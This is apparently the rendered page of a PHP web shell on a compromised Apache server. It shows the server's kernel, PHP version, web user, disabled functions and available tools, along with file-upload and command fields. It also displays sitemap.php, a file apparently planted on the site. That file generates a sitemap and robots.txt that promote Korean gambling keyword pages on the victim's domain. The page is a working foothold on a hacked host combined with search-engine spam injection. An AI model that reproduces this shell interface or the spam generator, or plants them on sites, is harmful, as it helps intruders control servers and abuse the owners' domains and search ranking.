403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.59
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gpa/print/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gpa/print/sitemap.php
<?php
// Otomatik site URL'si oluşturma
$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];
$siteUrl = $protocol . "://" . $host;

// Sitemap ve robots.txt dosyaları
$sitemapFile = 'sitemap.xml';
$robotsFile = 'robots.txt';

// Sayfa listesi
$pages = [
    ['url' => 'index.php?안전사이트', 'lastmod' => '2025-01-01', 'priority' => '1.0'],
    ['url' => 'index.php?메이저사이트', 'lastmod' => '2025-01-01', 'priority' => '0.8'],
    ['url' => 'index.php?안전놀이터', 'lastmod' => '2025-01-01', 'priority' => '0.7'],
    ['url' => 'index.php?토토사이트', 'lastmod' => '2025-01-01', 'priority' => '0.9'],
    ['url' => 'index.php?메이저놀이터', 'lastmod' => '2025-01-01', 'priority' => '1.0'],
    ['url' => 'index.php?카지노사이트', 'lastmod' => '2025-01-01', 'priority' => '0.8'],
    ['url' => 'index.php?바카라사이트', 'lastmod' => '2025-01-01', 'priority' => '0.7'],
    ['url' => 'index.php?슬롯사이트', 'lastmod' => '2025-01-01', 'priority' => '0.9'],
];

// Sitemap XML oluştur
$sitemapContent = '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
$sitemapContent .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL;

foreach ($pages as $page) {
    $loc = htmlspecialchars(rtrim($siteUrl, '/') . '/' . $page['url'], ENT_QUOTES, 'UTF-8');
    $sitemapContent .= "  <url>\n";
    $sitemapContent .= "    <loc>{$loc}</loc>\n";
    $sitemapContent .= "    <lastmod>{$page['lastmod']}</lastmod>\n";
    $sitemapContent .= "    <priority>{$page['priority']}</priority>\n";
    $sitemapContent .= "  </url>\n";
}

$sitemapContent .= '</urlset>';
file_put_contents($sitemapFile, $sitemapContent);

// Robots.txt oluştur
$robotsContent  = "User-agent: *\n";
$robotsContent .= "Disallow: /admin/\n";
$robotsContent .= "Disallow: /login/\n";
$robotsContent .= "Sitemap: " . rtrim($siteUrl, '/') . '/' . $sitemapFile . "\n";
file_put_contents($robotsFile, $robotsContent);

echo 'Sitemap ve robots.txt başarıyla oluşturuldu!';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit